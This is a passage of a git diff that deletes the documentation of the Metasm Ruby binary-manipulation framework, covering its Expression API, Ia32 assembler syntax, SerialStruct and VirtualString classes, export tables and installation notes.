-The parser handles standard C operator precedence.
-
-  str = "1 + var"
-  Expression.parse_string!(str)    # => Expression[1, :+, "var"]
-  str = "42 bla"
-  Expression.parse_string!(str)    # => Expression[42]
-  str                             # => "bla"
-
-Use `parse_string` without the ! to parse the string without updating it.
-
-External variables
-------------------
-
-The `externals` method will return all non-integer members of the Expression.
-
-  Expression[[:eax, :+, 42], :-, "bla"].externals  # => [:eax, "bla"]
-
-
-Pattern matching
-----------------
-
-The `match` method allows to check an Expression against a pattern without
-having to check individual members. The pattern should be an Expression,
-whose variable members should be Strings or Symbols, which are also passed as
-arguments to the match function. On successful match, the correspondance
-between variable patterns and their actual value matched is returned as a Hash.
-
-  Expression[1, :+, 2].match(Expression['var', :+, 2], 'var')
-  # => { 'var' => 1 }
-  Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var')
-  # => nil
-  Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op)
-  # => { 'var' => 1, :op => :+ }
-  
-
-Reduction
----------
-
-Metasm Expressions include a basic symbolic computation engine, that allows
-some simple transformations of the Expression. The reduction will also
-compute numerical values whenever possible. If the final result is fully
-numeric, an Integer is returned, otherwise a new Expression is returned.
-
-In this context, the special value `:unknown` has a particular meaning.
-
-  Expression[1, :+, 2].reduce
-  # => 3
-  Expression[:eax, :+, [:ebx, :-, :eax]].reduce
-  # => Expression[:ebx]
-  Expression[1, :+, [:eax, :+, 2]].reduce
-  # => Expression[:eax, :+, 3]
-  Expression[:unknown, :+, :eax].reduce
-  # => Expression[:unknown]
-
-The symbolic engine operates mostly on addition/substractions, and
-no-operations (eg shift by 0). It also handles some boolean composition.
-
-The detail can be found in the #replace_rec method body, in `metasm/main.rb`.
-
-The reduce method can also take a block argument, which will be called at
-every step in the recursive reduction, for custom operations. If the block
-returns nil, the result is unchanged, otherwise the new value is used as
-replacement. For exemple, if you operate on 32-bit values and want to get rid
-of `bla & 0xffffffff`, use
-
-  some_expr.reduce { |e|
-    if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff
-      e.lexpr
-    end
-  }
-   
-
-Binding
--------
-
-An expression involving variable externals can be bound using a Hash. This will
-replace any occurence of a key of the Hash by its value in the expression
-members. The `bind` method will return a new Expression with the substitutions,
-and the `bind!` method will update the Expression in-place.
-
-  Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce
-  # => 12
-  Expression[:eax, :+, :ebx].bind(:ebx => 42)
-  # Expression[:eax, :+, 42]
-  Expression[:eax, :+, :ebx].bind(:ebx => :ecx)
-  # Expression[:eax, :+, :ecx]
-
-You can use Expressions as keys, but they will only be used on perfect matches.
-
-
-Binary packing
---------------
-
-Encoding
-########
-
-The `encode` method will generate an EncodedData holding the expression, either
-as binary if it can reduce to an integral value, or as a relocation.
-The arguments are the relocation type and the endianness, plus an optional
-backtrace (to notify the user where an overflowing relocation comes from).
-
-The `encode_imm` class method will generate a raw String for a given
-integral value, a type and an endianness.
-The type can be given as a byte size.
-
-  Expression.encode_imm(42, :u8, :little)  # => "*"
-  Expression.encode_imm(42, 1, :big)       # => "*"
-  Expression.encode_imm(256, :u8, :little) # raise EncodeError
-
-On overflows (value cannot be encoded in the bit field) an EncodeError
-exception is raised.
-
-Decoding
-########
-
-The `decode_imm` class method can be used to read a binary value into an
-Integer, with an optional offset into the binary string.
-
-  Expression.decode_imm("*", :u8, :little)               # => 42
-  Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2
-
-
-Arithmetic coercion
--------------------
-
-Expression implement the `:+` and `:-` ruby methods, so that `expr + 4`
-works as expected. The result is reduced.
-
-
-Integer methods
----------------
-
-The Expression class offers a few methods to work with integers.
-
-make_signed
-###########
-
-`make_signed` will convert a raw unsigned to its equivalent signed value,
-given a bit size.
-
-  Expression.make_signed(1, 16)      # => 1
-  Expression.make_signed(0xffff, 16) # => -1
-
-
-in_range?
-#########
-
-`in_range?` can check if a given numeric value would fit in a particular
-<core/Relocation.txt> field. The method can return true or false if it
-fits or not, or `nil` if the result is unknown (eg the expr has no numeric
-value).
-
-  Expression.in_range?(42, :i8)                 # => true
-  Expression.in_range?(128, :i8)                # => false
-  Expression.in_range?(-128, :i8)               # => true
-  Expression.in_range?(Expression['bla'], :u32) # => nil
-
diff --git a/lib/metasm/doc/core/GNUExports.txt b/lib/metasm/doc/core/GNUExports.txt
deleted file mode 100644
index e50800afe7..0000000000
--- a/lib/metasm/doc/core/GNUExports.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-GNUExports
-==========
-
-This class is defined in `metasm/os/gnu_exports.rb`
-
-It defines an `EXPORT` constant, a Hash, whose keys
-are the standard linux API symbol names, and values
-are the library name where you can find this symbol.
-
-The equivallent for windows is <core/WindowsExports.txt>
-
-Usage
------
-
-The main usage of this class is the automatic generation
-of the <core/ELF.txt> dynamic tag `DT_NEEDED` from the
-external symbols referenced by a binary during compilation.
-
-This is done in the `automagic_symbols` method.
-
-Symbols
--------
-
-The current version holds the symbols of the debian
-glibc, from `libc.so.6` and `libdl.so.2`.
-
-Ruby symbols are also defined, from `libruby1.8.so.1.8`.
diff --git a/lib/metasm/doc/core/Ia32.txt b/lib/metasm/doc/core/Ia32.txt
deleted file mode 100644
index 3316d17106..0000000000
--- a/lib/metasm/doc/core/Ia32.txt
+++ /dev/null
@@ -1,234 +0,0 @@
-Ia32
-====
-
-The Ia32 architecture, aka *Intel_x86*, is the most advanced among the
-architectures implemented in the framework. It is a subclass of the
-generic <core/CPU.txt>.
-
-It can handle binary code for the 16 and 32bits modes of the processor.
-
-It is a superclass for the <core/X86_64.txt> object, a distinct processor
-that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*)
-
-The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix
-if bigendian)
-
-Opcodes
--------
-
-The opcodes list can be customized to match that available on a specific
-version of the processor. The possibilities are:
-
-* 386_common
-* 386
-* 387
-* 486
-* pentium
-* p6
-* 3dnow
-* sse
-* sse2
-* sse3
-* vmx
-* sse42
-
-Most opcodes are available in the framework, with the notable exception of:
-
-* most sse2 simd instructions
-* the AVX instructions
-* amd-specific instructions
-
-The `386_common` family is the subset of 386 instruction that are most
-commonly found in standard usermode programs (no `in`/`out`/bcd
-arithmetic/far call/etc).
-This can be useful when manipulating stuff that in not known to be i386
-binary code.
-
-
-Initialization
---------------
-
-An Ia32 <core/CPU.txt> object can be created using the following code:
-
-  Metasm::Ia32.new
-
-The `X86` alias may be used in place of `Ia32`.
-
-The constructor accepts optional arguments to specify the CPU size, the
-opcode family, and the endianness of the processor. The arguments can
-be given in any order. For exemple,
-
-  Metasm::Ia32.new(16, 'pentium', :big)
-
-will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family,
-in big-endian mode.
-
-The Ia32 initializer has the convenience feature that it will create an
-X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an
-X86_64 instance)
-
-
-Assembler
----------
-
-The parser handles only Intel-style asm syntax, *e.g.*
-
-  some_label:
-    mov eax, 10h
-    mov ecx, fs:[eax+16]
-    push dword ptr fs:[1Ch]
-    call ecx
-    test al, al
-    jnz some_label
-    ret
-    fmulp ST(4)
-
-
-Instruction arguments
-#####################
-
-The parser recognizes standard registers, such as
-
-* `eax`
-* `ah`
-* `mm4` (mmx 64bit register)
-* `xmm2` (xmm 128bit register)
-* `ST` (current top of the FPU stack)
-* `ST(3)` (FPU reg nr.3)
-* `cs` (segment register)
-* `dr3` (debug register)
-* `cr2` (control register)
-
-It also supports inexistant registers, such as
-
-* `cr7`
-* `dr4`
-* `segr6` (segment register nr.6)
-
-The indirections are called `ModRM`. They take the form:
-
-* `[eax]` (memory pointed by `eax`)
-* `byte ptr [eax]` (1-byte memory pointed by `eax`)
-* `byte [eax]` (same as previous)
-* `fs:[eax]` (offset `eax` from the base of the `fs` segment)
-* `[fs:eax]` (same as previous)
-
-The pointer itself can be:
-
-* `[eax]` (any register)
-* `[eax+12]` (base + numeric offset)
-* `[eax+ebx]` (base + register index)
-* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index)
-* `[eax + 2*ebx + 42]` (both)
-
-Note that the form base + s*index cannot use `esp` as index with s != 1.
-
-For indirection sizes, the size is taken from the size of other arguments
-if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]`
-will be 1). The explicit size specifier can be:
-
-* `byte` (8bits)
-* `word` (16)
-* `dword` (32)
-* `qword` (64)
-* `oword` (128)
-* `_12bits` (12, arbitrary numbers can be used)
-
-
-Parser commands
-###############
-
-The following commands are recognized in an asm source:
-
-* `.mode`
-* `.bits`
-
-They are synonymous, and serve to change the mode of the processor to either
-16 or 32bits.
-
-They should be the first instruction in the source, changing the mode during
-parsing is not supported. This would change only the mode for the next
-instructions to be parsed, and for all instructions (incl. those already parsed
-at this point) when encoding, which is likely **not** what you want. See the
-`codeXX` prefixes.
-
-Note that changing the CPU size once it was created may have bad side-effects.
-For exemple, some preprocessor macros may already have been generated according
-to the original size of the CPU and will be incorrect from this point on.
-
-
-Prefixes
-########
-
-The following prefixes are handled:
-
-* `lock`
-* `rep`, `repz`, `repnz`, `repe`, `repne`
-* `code16`, `code32`
-
-The `repXX` prefixes are for string operations (`movsd` etc), but will be set
-for any opcode. Only the last of the family will be encoded.
-
-The `code16` will generate instructions to be run on a CPU in 16bit mode,
-independantly of the global CPU mode. For exemple,
-
-  code16 mov ax, 42h
-
-will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or
-run incorrectly on an 32bit CPU.
-
-The encoder also has code to handle `jmp hints` prefixes, but the parser has
-no equivalent prefix support.
-
-There is currently no way to specify a segment-override prefix for instruction
-not using a ModRM argument. Use a `db 26h` style line.
-
-
-Suffixes
-########
-
-The parser implements a specific feature to allow the differenciation of
-otherwise ambiguous opcodes, in the form of instruction suffixes.
-
-By default, the assembler will generate the shortest encoding for a given
-instruction. To force encoding of another form you can add a specific
-suffix to the instruction. In general, metasm will use e.g. register sizes
-when possible to avoid this kind of situations, but with immediate-only
-displacement this is necessary.
-
-  or.a16 [1234h], eax  ; use a 16-bit address
-  or [bx], eax         ; use a 16-bit address (implicit from the bx register)
-  or eax, 1	; "\x83\xc8\x01"
-  or.i8 eax, 1	; "\x83\xc8\x01" (same, shortest encoding)
-  or.i eax, 1   ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field)
-  movsd.a16	; use a 16-byte address-size override prefix (copy dword [si] to [di])
-  push.i16 42h  ; push a 16-bit integer
-
-The suffixes are available as follow:
-
-* if the opcode takes an integer argument that can be encoded as either a 8bits or <cpu size>bits, the `.i` and `.i8` variants are created
-* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created
-* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created
-
-
-C parser
---------
-
-The Ia32 C parser will initialize the type sizes with the `ilp32` memory
-model, which is:
-
-* short = 16bits
-* int = 32bits
-* long = 32bits
-* long long = 64bits
-* pointer = 32bits
-
-In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits
-compiler has not been tested anyway).
-
-The following macros are defined (in the asm preprocessor too)
-
-* `_M_IX86` = 500
-* `_X86_`
-* `__i386__`
-
diff --git a/lib/metasm/doc/core/SerialStruct.txt b/lib/metasm/doc/core/SerialStruct.txt
deleted file mode 100644
index c4ce128743..0000000000
--- a/lib/metasm/doc/core/SerialStruct.txt
+++ /dev/null
@@ -1,108 +0,0 @@
-SerialStruct
-============
-
-This is a helper class to handle binary packed data, especially to
-represent <core/ExeFormat.txt> structures.
-
-The implementation is in `metasm/exe_format/serialstruct.rb`.
-
-Basics
-------
-
-The class defines some class methods, such as:
-
-* `dword`
-* `byte`
-* `strz`
-
-These methods can be used directly in subclass definitions, e.g.
-
-  class MyHeader < SerialStruct
-     dword :signature
-     dword :length
-  end
-
-This will associate the sequence of fields to this structure, which
-is used in the `#encode` and `#decode` methods.
-These methods rely on an <core/ExeFormat.txt> instance to define
-the corresponding `decode_dword` and `encode_dword` methods.
-
-You can then simply call:
-
-  hdr = MyHeader.decode(myexefmt)
-
-which will call `myexefmt.decode_word` twice to populate the
-`signature` and `length` fields of the MyHeader.instance.
-
-You can also redefine the `#decode` method to handle special cases.
-
-
-The fields defined this way can be assigned a default value that
-will be used when encoding the structure.  The syntax is:
-
-   dword :fieldname, defaultvalue
-
-If you have a long sequence of identically-typed fields, you can use
-the plural form:
-
-   dwords :f1, :f2, :f3, :f4
-
-To define your own field types, you should create a new subclass and call the
-`new_field` class method. For integral fields, use `new_int_field(fldname)`
-that will automatically define the decode/encode routines, and create the
-plural form.
-
-  class MyStruct < SerialStruct
-    new_int_field :zword
-    zwords :offset, :length
-  end
-
-
-Symbolic constants
-------------------
-
-The class has built-in support for symbolic constants and bit fields.
-
-For exemple, suppose you have a numeric `:type` field, which corresponds
-to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use:
-
-    TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' }
-
-    dword :type
-    fld_enum :type, TYPES
-
-With this, the standard '#decode' method will first decode the numeric value
-of the field, and then lookup the value in the enum hash to find the
-corresponding symbol, and use it as the field value.
-If there is no mapping, the numeric value is retained. The reverse operation
-is done with `#encode`.
-
-For the bitfields, the method is `fld_bits`, and the software will try to
-match *OR-ed* values from the bitfield to generate an array of symbols.
-
-    BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' }
-
-    dword :foo
-    fld_bits :foo, BITS
-
-which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]`
-
-The hashes used for fld_bits or fld_enum can be dynamically determined, by
-using the block version of those methods. The block will receive the ExeFormat
-instance and the SerialStruct instance, and should return the Hash.
-This can be useful when a bitfield signification varies given some generic
-property of the exe, eg the target architecture.
-
-
-Hooks
------
-
-It is also possible to define a hook that will be called at some point during
-the object binary decoding. It will receive the exe and struct instances.
-
-  class Header < SerialStruct
-    dword :machine
-    decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 }
-    dword :bodylength
-  end
-
diff --git a/lib/metasm/doc/core/VirtualString.txt b/lib/metasm/doc/core/VirtualString.txt
deleted file mode 100644
index 01f8fe5b80..0000000000
--- a/lib/metasm/doc/core/VirtualString.txt
+++ /dev/null
@@ -1,145 +0,0 @@
-VirtualString
-=============
-
-This class is an abstract representation of an arbitrary sized byte array
-with methods to load parts of it on demand. It is useful to represent
-a program virtual memory and allow metasm to work on it while only reading
-bytes from it when actually needed.
-
-The base class is defined in `metasm/os/main.rb`.
-
-
-Basics
-------
-
-The API of the object is designed to be compatible with a standard String (ASCII-8BIT).
-The main restriction is that the size of this string cannot be changed:
-concatenation / shortening is not supported.
-
-The main operation on the object should be `[]` and `[]=`, that is,
-reading some subpart of the string, or overwriting some substring.
-The arguments are the same as for a String, with the exception that
-rewrite raises an IndexError if the rewriting would change the string
-length.
-
-A few methods are written specifically with the VirtualString semantics,
-others are redirected to a temporary real String generated with `realstring`.
-
-The VirtualString works with a `page` concept, that represents some arbitrary
-chunks of data that can be actually read from the underlying target, e.g. a
-memory page (4096 bytes) when mapping a process virtual address space.
-Instances get to define a `pagelength` sound for the specific implementation.
-
-Whenever a substring is requested from a VirtualString, if the substring
-length is less than the page size, an actual read is made and a String is
-returned.
-
-If the length is greater however, a new VirtualString is created to map this
-new *view* without actually reading.
-
-To force the conversion to a String, use the `realstring` or `to_str` method.
-The latter is prefered, as it works on both Strings and VirtualStrings.
-
-To force the creation of a new VirtualString, use the `dup(start, len)` method.
-
-When reading actual bytes, a local page cache is used. By default is has only 4
-pages, and can be invalidated using `invalidate`.
-The cache is automatically invalidated when part of the string is written to.
-
-The VirtualString may index *invalid* pages (e.g. unmapped memory range in a
-process address space) ; you can check that with `page_invalid?` with an index
-as parameter.
-
-
-Creation
---------
-
-To create your own flavor of VirtualString, you must:
-
-* define your subclass that inherits from `VirtualString`
-* define your initializer, that takes whatever arguments make sense (e.g. a
-*pid*, *handle*, Socket..)
-* your initializer must call super(a, l) with arguments:
-** current view absolute address (should default to 0), will be saved in
-`@addr_start`
-** current view size (should default to something sensible, like 1<<32), saved
-in `@length`
-* your initializer can override the default page size by defining the
-`@pagelength` variable.
-* implement a `dup` method that takes optional arguments:
-** new base address (default=`@addr_start`)
-** new length (default=`@length`)
-** returns a new instance of your class mapping over the specified window
-* implement a `get_page` method, whose arguments are:
-** absolute page address (will always be page-aligned)
-** optional length, default=`@pagelength`
-** returns a String of `length` bytes, or `nil` (e.g. unmapped area)
-* optionally implement a `rewrite_at` method, to make your string writeable.
-Arguments are the absolute write address, and the data to write there (a String).
-
-Feel free to override any other method with an optimized version.
-For exemple, the default `realstring` will repeatadly call `get_page` with
-each page in the range 0..`length`, you may have a more efficient alternative.
-
-You can alter the cache size by rewriting the `@pagecache_len` variable
-**after** calling `super()` in `initialize`. The default value is 4, which you
-may want to increase.
-
-See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid`
-method).
-
-Standard subclasses
--------------------
-
-VirtualFile
-###########
-
-Defined in `metasm/os/main.rb`.
-
-This class maps over an open file descriptor, and allows reading data on-demand.
-It implements the `read` class method, similar to `File.read`, with the
-file opened in binary mode. For a small file (<=4096), the content is
-directly returned, otherwise a VirtualString is created.
-
-This class is used by the default <core/ExeFormat.txt> `decode_file[_header]`
-methods.
-
-
-LinuxRemoteString
-#################
-
-Defined in `metasm/os/linux.rb`.
-
-This class maps over the virtual memory of a Linux process.
-Accesses are done through the `/proc/<pid>/mem` for reading.
-The linux kernel requires that the target process be ptraced before we can
-read this file, so the object will use the debugger instance passed to the
-constructor, or create a new <core/PTrace.txt> object to stop the process
-and read its memory during `get_page`.
-
-If a <core/Debugger.txt> object was given, `get_page` will return `nil` if the
-debugger indicates that the target is not stopped.
-
-Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`.
-
-
-WindowsRemoteString
-###################
-
-Defined in `metasm/os/windows.rb`.
-
-This class maps over the virtual memory of a Windows process.
-
-The memory accesses are done using the `Read/WriteProcessMemory` API.
-
-The class method `open_pid` is defined, that will try to `OpenProcess`
-first in read/write, and fallback to read-only mode.
-
-
-GdbRemoteString
-###############
-
-Defined in `metasm/os/remote.rb`.
-
-Maps over the virtual memory of a remote process debugged with a
-<core/GdbClient.txt> instance, using `setmem` and `getmem`.
diff --git a/lib/metasm/doc/core/WindowsExports.txt b/lib/metasm/doc/core/WindowsExports.txt
deleted file mode 100644
index f483e77167..0000000000
--- a/lib/metasm/doc/core/WindowsExports.txt
+++ /dev/null
@@ -1,61 +0,0 @@
-WindowsExports
-==============
-
-This class is defined in `metasm/os/windows_exports.rb`
-
-It defines an `EXPORT` constant, a Hash, whose keys
-are the standard win32 API symbol names, and values
-are the library name where you can find this symbol.
-
-The equivalent for GNU/Linux is <core/GNUExports.txt>
-
-Usage
------
-
-The main usage of this class is the automatic generation
-of the <core/PE.txt> import directories from the
-external symbols referenced by a binary during compilation.
-
-This is done in the `automagic_symbols` method.
-
-Symbols
--------
-
-The current version holds the symbols available in the
-Windows XP SP2 32-bit standard libraries:
-
-* `ntdll`
-* `kernel32`
-* `user32`
-* `gdi32`
-* `advapi32`
-* `ws2_32`
-* `msvcrt`
-* `comdlg32`
-* `psapi`
-
-
-Ruby symbols are also defined, from `msvcrt-ruby18`.
-
-
-Ruby library name
------------------
-
-On creation, the current ruby library name is inferred
-from the `RUBY_PLATFORM` constant, in an effort to
-try to use the available ruby library filename.
-
-The only transformation supported now is to rewrite
-the ruby version number appearing in the filename for
-msvcrt-compiled binaries, so that you get the correct
-`msvcrt-ruby192` name for exemple under ruby1.9.
-
-This is implemented in the `patch_rubylib_to_current_interpreter`
-method (which is aptly named).
-
-Warning
-#######
-
-Note that binaries compiled this way will not work on
-other machines where the exact same library is unavailable.
-
diff --git a/lib/metasm/doc/core/index.txt b/lib/metasm/doc/core/index.txt
deleted file mode 100644
index ba60d4c253..0000000000
--- a/lib/metasm/doc/core/index.txt
+++ /dev/null
@@ -1 +0,0 @@
-See <core_classes.txt>
diff --git a/lib/metasm/doc/core_classes.txt b/lib/metasm/doc/core_classes.txt
deleted file mode 100644
index a39c38fa3e..0000000000
--- a/lib/metasm/doc/core_classes.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-Core classes
-============
-
-Core
-----
-
-* <core/Expression.txt>
-* <core/EncodedData.txt>
-* <core/VirtualString.txt>
-* <core/Opcode.txt>
-* <core/Instruction.txt>
-
-CPUs
-----
-
-* <core/CPU.txt>
-* <core/Ia32.txt>
-* <core/X86_64.txt>
-* <core/MIPS.txt>
-* <core/PowerPC.txt>
-* <core/Sh4.txt>
-
-ExeFormats
-----------
-
-* <core/ExeFormat.txt>
-* <core/SerialStruct.txt>
-* <core/AutoExe.txt>
-
-* <core/Shellcode.txt>
-* <core/PE.txt>
-* <core/COFF.txt>
-* <core/ELF.txt>
-
-C
-----
-
-* <core/Preprocessor.txt>
-* <core/CParser.txt>
-* <core/CCompiler.txt>
-
-Debugger
---------
-
-* <core/OS.txt>
-* <core/Debugger.txt>
-* <core/LinDebugger.txt>
-* <core/WinDebugger.txt>
-* <core/PTrace.txt>
-* <core/GdbClient.txt>
-* <core/WinDbgAPI.txt>
-
-Disassembler
-------------
-
-* <core/Disassembler.txt>
-* <core/DecodedFunction.txt>
-* <core/DecodedInstruction.txt>
-* <core/InstructionBlock.txt>
-* <core/Decompiler.txt>
-
-GUI
-----
-
-* <core/Gui.txt>
-* <core/Gui_Drawable.txt>
-* <core/Gui_Window.txt>
-
-* <core/Gui_DasmWidget.txt>
-* <core/Gui_DebugWidget.txt>
-
-Others
-------
-
-* <core/DynLdr.txt>
diff --git a/lib/metasm/doc/feature_list.txt b/lib/metasm/doc/feature_list.txt
deleted file mode 100644
index 26e7c5b02a..0000000000
--- a/lib/metasm/doc/feature_list.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-Metasm feature list
-===================
-
-Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger.
-
-See <use_cases.txt>
-
-Architectures
--------------
-
-It is written in such a way that it is easy to add support for new architectures.
-For now, the following architectures are in:
-
-* Intel <core/Ia32.txt> (16 and 32bits)
-* Intel <core/X86_64.txt> (*aka* Ia32 64bits, X64, AMD64)
-* MIPS
-* PowerPC
-* Sh4
-
-The developpement is generally more focused on Ia32 and X86_64.
-
-
-File formats
-------------
-
-The following executable file formats are supported:
-
-* <core/Shellcode.txt> (raw binary)
-* <core/PE.txt>/<core/COFF.txt> (32/64bits)
-* <core/ELF.txt> (32/64bits)
-
-Those are supported in a more limited way:
-
-* Mach-O, UniversalBinary
-* MZ
-* A.out
-* XCoff
-* NDS
-
-
-Features
---------
-
-The framework includes
-
-* a graphical <usage/disassembler.txt>
-* a graphical <usage/debugger.txt>
-* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer)
-* an advanced disassembler engine, with limited emulation support
-* a full <usage/C_parser.txt> (with preprocessor)
-* an experimental <usage/C_compiler.txt> (Ia32 only)
-* an experimental <usage/decompiler.txt> (Ia32 only)
-
diff --git a/lib/metasm/doc/index.txt b/lib/metasm/doc/index.txt
deleted file mode 100644
index 8cd8f8fecb..0000000000
--- a/lib/metasm/doc/index.txt
+++ /dev/null
@@ -1,59 +0,0 @@
-The Metasm framework documentation
-==================================
-
-Metasm
-------
-
-The Metasm framework is an opensource software designed to interact with
-the various forms of binary code. It is written in pure Ruby
-(<http://ruby-lang.org/>).
-
-More detailed informations can be found in the <feature_list.txt>.
-
-It is distributed freely under the terms of the LGPL.
-
-Documentation organisation
---------------------------
-
-This documentation is split in different parts :
-
-* the <core_classes.txt>
-* the major <use_cases.txt>
-* <code_organisation.txt>
-
-The first part describes the internal structure of the framework, the
-second part is a higher level overview of the software and shows how
-the various parts are used and can interract. The last part explains
-the role of the source files and directories.
-
-
-Documentation progress
-----------------------
-
-The documentation is written here and there in my free time, and is **very**
-**incomplete** as of now. Specifically, all internal links you'll find
-ending in `.txt` are link to pages that have not been written yet.
-
-
-Install notes
--------------
-
-See the <install_notes.txt>
-
-Authors
--------
-
-Metasm is mostly written by Yoann Guillot.
-
-Some parts were added by various contributors, including :
-* Julien Tinnès
-* Raphaël Rigo
-* Arnaud Cornet
-* Alexandre Gazet
-
-Contact
--------
-
-The latest version of this documentation can be found on the Metasm site: <http://metasm.cr0.org/doc>
-
-Patches, bug reports, feature requests should be sent to metasm@cr0.org
diff --git a/lib/metasm/doc/install_notes.txt b/lib/metasm/doc/install_notes.txt
deleted file mode 100644
index c881f9ac58..0000000000
--- a/lib/metasm/doc/install_notes.txt
+++ /dev/null
@@ -1,170 +0,0 @@
-Metasm installation notes
-=========================
-
-Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any
-ruby library (except the `metasm/gui`, which may use `gtk2`).
-
-So the install is quite simple.
-
-
-Download
---------
-
-Metasm is distributed using the `mercurial` source control system.
-
-The recommanded way to install is to use that tool, so you can always be
-up-to-date with the latest developpements.
-
-You will also need the Ruby interpreter (version 1.8 and 1.9 are supported).
-
-Linux
-#####
-
-Issue the following commands to install the `mercurial` and `ruby` software
-
-    sudo apt-get install ruby
-    sudo apt-get install mercurial
-
-Then download metasm with
-
-    hg clone http://metasm.cr0.org/hg/metasm/
-
-This will create a new directory `metasm/` with the latest version of the
-framework.
-
-
-Windows
-#######
-
-The ruby website offers many ruby packages. The *RubyInstaller* should
-work fine. Go to <http://www.ruby-lang.org/en/downloads/>, under the
-`Ruby on Windows` section.
-
-The `mercurial` website has links to various installers:
-<http://mercurial.selenic.com/wiki/BinaryPackages>
-Choose one, then use the `clone repository` command with the following
-url:
-
-    http://metasm.cr0.org/hg/metasm/
-
-This will create a new subdirectory `metasm/` with the latest version of
-the framework.
-
-
-Upgrading
----------
-
-To upgrade to the latest and greatest version, launch a shell prompt and
-navigate to the metasm directory, then issue:
-
-    hg pull -u
-
-which will upgrade your installation to the latest available version.
-
-With `TortoiseHG`, simply issue the `upgrade` command on the `metasm`
-directory.
-
-
-Local installation
-------------------
-
-If you simply want to install metasm for your personnal usage (VS a
-system-wide installation), follow these steps.
-
-Download the metasm source files under any directory, then update the
-environment variable `RUBYLIB` to include this path. The path you add
-should be the directory containing the `metasm.rb` script and the `metasm/`,
-`samples/`, `doc/` subdirectories.
-
-If `RUBYLIB` is empty or non-existant, simply set its value to the directory,
-otherwise you can append the path to an existing list by separating the values
-with a `:` such as:
-
-  RUBYLIB='/foo/bar:/home/jj/metasm'
-
-Linux
-#####
-
-Under linux or cygwin, this is done by modifying your shell profile, e.g.
-`~/.bash_profile`, by adding a line such as:
-
-  export RUBYLIB='/home/jj/metasm'
-
-You may need to restart your session or start a new shell for the changes
-to take effect.
-
-Windows
-#######
-
-The environment variables can be set through :
-
-* rightclick on `my computer`
-* select tab `advanced`
-* click `environment variables`
-
-If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise
-create a new variable `RUBYLIB` with the path as value.
-
-You may need to restart your session for the changes to take effect.
-
-
-Systemwide installation
------------------------
-
-For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby`
-directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\`
-for windows users) with the content
-
-  # if metasm.rb can be found in /home/jj/metasm/metasm.rb
-  require '/home/jj/metasm/metasm'
-
-
-Testing
--------
-
-Open a new shell session and type
-
-  ruby -r metasm -e "p Metasm::VERSION"
-
-It should print a single line with a (meaningless) number in it.
-
-
-Gui
-----
-
-If you intend to use the graphical user-interface (debugger/disassembler),
-if you are under Windows with a 32bit x86 ruby, this should work out of the
-box. In any other case, you'll need the `ruby-gtk2` library.
-
-Linux
-#####
-
-Under linux, use your package manager to install `ruby-gtk2`, e.g. for
-Debian/Ubuntu, type:
-
-    sudo apt-get install libgtk2-ruby
-
-
-Windows
-#######
-
-If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns
-something like `[i386-mswin32]`), the Gui should work right away without
-`gtk2`, so go directly to the `Testing` part.
-
-Otherwise, you'll need to install the `gtk2` libs and the ruby bindings
-manually. Please follow the instructions at 
-<http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows>
-
-
-Testing
-#######
-
-To test the correct working of the Gui, simply launch the
-`samples/disassemble-gui.rb` script found in the metasm directory
-(double-click on the script, or type `ruby samples/disassemble-gui.rb` at
-a command prompt). It should display a window with a menu, and should
-answer to a `ctrl-o` keystroke with an `open binary file` dialog.
-
-See the <usage/disassembler_gui.txt> for more information.
-
diff --git a/lib/metasm/doc/style.css b/lib/metasm/doc/style.css
deleted file mode 100644
index 29402b52cd..0000000000
--- a/lib/metasm/doc/style.css
+++ /dev/null
@@ -1,3 +0,0 @@
-span.quote {
-	font-family: monospace;
-}
diff --git a/lib/metasm/doc/usage/index.txt b/lib/metasm/doc/usage/index.txt
deleted file mode 100644
index bdacd7cef9..0000000000
--- a/lib/metasm/doc/usage/index.txt
+++ /dev/null
@@ -1 +0,0 @@
-See <use_cases.txt>
diff --git a/lib/metasm/doc/use_cases.txt b/lib/metasm/doc/use_cases.txt
deleted file mode 100644
index 8b5b05bac8..0000000000
--- a/lib/metasm/doc/use_cases.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-Metasm use cases
-================
-
-Metasm is intended to be a binary manipulation toolbox.
-There are quite a lot of possible usages that can be derived from the
-<feature_list.txt>.
-
-The major would be related to:
-
-* the scriptable <usage/debugger.txt>
-* the <usage/disassembler.txt> (with the optionnal <usage/disassembler_gui.txt>)
-* the <usage/assembler.txt>
-* the <usage/C_parser.txt>
-* the <usage/C_compiler.txt>
-* the <usage/exe_manipulation.txt> facilities
-
-and various interaction between those.
-
